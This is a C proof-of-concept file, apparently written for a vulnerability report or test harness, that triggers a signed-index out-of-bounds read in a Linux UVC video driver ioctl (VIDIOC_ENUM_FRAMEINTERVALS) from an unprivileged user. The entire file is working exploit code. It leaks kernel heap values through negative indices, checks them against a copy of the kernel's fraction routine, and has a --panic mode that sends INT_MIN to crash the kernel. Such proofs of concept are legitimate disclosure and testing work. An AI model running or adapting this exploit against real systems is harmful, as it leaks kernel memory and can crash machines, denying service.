DF-5427 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | /* * trigger.c - unprivileged trigger for DF-5427 * (VIDIOC_ENUM_FRAMEINTERVALS signed-index OOB read on /dev/videoN, 0666). * * Self-contained: local copies of the v4l2 struct/ioctl definitions and of * the kernel's uvc_simple_frac() transformation, so the value the kernel * copied out can be matched against the kernel heap content it was read * from (printed as ground truth by the harness). * * usage: trigger -> sanity + controlled-offset leak proof * trigger --panic -> wild offset (INT_MIN) => kernel page fault */ #include <sys/types.h> #include <errno.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #define V4L2_BUF_TYPE_VIDEO_CAPTURE 1 #define V4L2_PIX_FMT_YUYV 0x56595559 struct v4l2_fract { uint32_t numerator; uint32_t denominator; }; struct v4l2_frmival_stepwise { struct v4l2_fract min; struct v4l2_fract max; struct v4l2_fract step; }; struct v4l2_frmivalenum { uint32_t index; uint32_t pixel_format; uint32_t width; uint32_t height; uint32_t type; union { struct v4l2_fract discrete; struct v4l2_frmival_stepwise stepwise; } x; uint32_t reserved[2]; }; #define VIDIOC_ENUM_FRAMEINTERVALS _IOWR('V', 75, struct v4l2_frmivalenum) /* exact mirror of the kernel's uvc_simple_frac() (uvc_v4l2.c:230-276) so we * can predict the copied-out rational for a known raw heap value */ static void simple_frac(uint32_t *numerator, uint32_t *denominator, uint32_t max_iters, uint32_t threshold) { uint32_t *coeff, best_den, best_num, remainder, i, j; if (!numerator || !denominator || *denominator == 0 || max_iters == 0) return; coeff = calloc(max_iters, sizeof(uint32_t)); if (coeff == NULL) return; best_den = *numerator; best_num = *denominator; for (j = 0; j < max_iters && best_num != 0; ++j) { coeff[j] = best_den / best_num; if (coeff[j] >= threshold) { if (j < 2) j++; break; } remainder = best_den % best_num; best_den = best_num; best_num = remainder; } best_den = 0; best_num = 1; for (i = j; i > 0; --i) { remainder = best_num; best_num = coeff[i - 1] * best_num + best_den; best_den = remainder; } *numerator = best_num; *denominator = best_den; free(coeff); } static int devfd = -1; /* one query; returns 0 and fills num/den on success */ static int query(uint32_t index, uint32_t *num, uint32_t *den, uint32_t *type) { struct v4l2_frmivalenum itv; memset(&itv, 0, sizeof(itv)); itv.index = index; itv.pixel_format = V4L2_PIX_FMT_YUYV; itv.width = 640; itv.height = 480; if (ioctl(devfd, VIDIOC_ENUM_FRAMEINTERVALS, &itv) != 0) return (-1); *num = itv.x.discrete.numerator; *den = itv.x.discrete.denominator; *type = itv.type; return (0); } static void expect(const char *tag, uint32_t raw) { uint32_t num = raw, den = 10000000, gotn = 0, gotd = 0, type = 0; simple_frac(&num, &den, 8, 333); if (query(0xFFFFFFFFu, &gotn, &gotd, &type) != 0) { printf("TRIGGER %-14s ioctl failed: %s\n", tag, strerror(errno)); return; } printf("TRIGGER %-14s raw(interval[-1])=0x%08x expected num/den=%u/%u " "got num/den=%u/%u type=%u -> %s\n", tag, raw, num, den, gotn, gotd, type, (gotn == num && gotd == den) ? "MATCH" : "MISMATCH"); } int main(int argc, char **argv) { uint32_t num, den, type; int i; devfd = open("/dev/video97", O_RDWR); if (devfd < 0) { perror("open /dev/video97"); return (1); } printf("TRIGGER: opened /dev/video97 as uid=%d euid=%d\n", getuid(), geteuid()); if (argc > 1 && strcmp(argv[1], "--panic") == 0) { printf("TRIGGER[panic]: issuing VIDIOC_ENUM_FRAMEINTERVALS " "with index=0x80000000 (INT_MIN => read at " "interval-8GiB, expect fatal trap 12)\n"); fflush(stdout); i = query(0x80000000u, &num, &den, &type); printf("TRIGGER[panic]: UNEXPECTED survival ret=%d " "num=%u den=%u\n", i, num, den); return (0); } /* sanity: in-bounds index 0 must return the first discrete interval */ if (query(0, &num, &den, &type) == 0) printf("TRIGGER sanity[index=0]: num/den=%u/%u type=%u " "(frame interval #1)\n", num, den, type); else printf("TRIGGER sanity[index=0]: ioctl failed: %s\n", strerror(errno)); /* k = 1: reads frm[0] tail = width|height<<16 = 0x01E00280 */ expect("k=1", (480u << 16) | 640u); /* k = 2..8: frm[0]/fmt[0] fields inside the slab; k = 37..44: outside * the 144-byte slab allocation (groom markers from the harness) */ for (i = 2; i <= 8; i++) { if (query((uint32_t)-(int32_t)i, &num, &den, &type) == 0) printf("TRIGGER k=%-2d: num/den=%u/%u type=%u " "(value*1e7/den ~ %.4f)\n", i, num, den, type, (double)num * 1e7 / (double)den); else printf("TRIGGER k=%-2d: ioctl failed: %s\n", i, strerror(errno)); } for (i = 33; i <= 44; i++) { if (query((uint32_t)-(int32_t)i, &num, &den, &type) == 0) { printf("TRIGGER LEAKSAMPLE k=%-2d num=%u den=%u type=%u " "(raw heap u32 below slab ~= %.1f)\n", i, num, den, type, (double)num * 1e7 / (double)den); } else printf("TRIGGER k=%-2d: ioctl failed: %s\n", i, strerror(errno)); } return (0); } |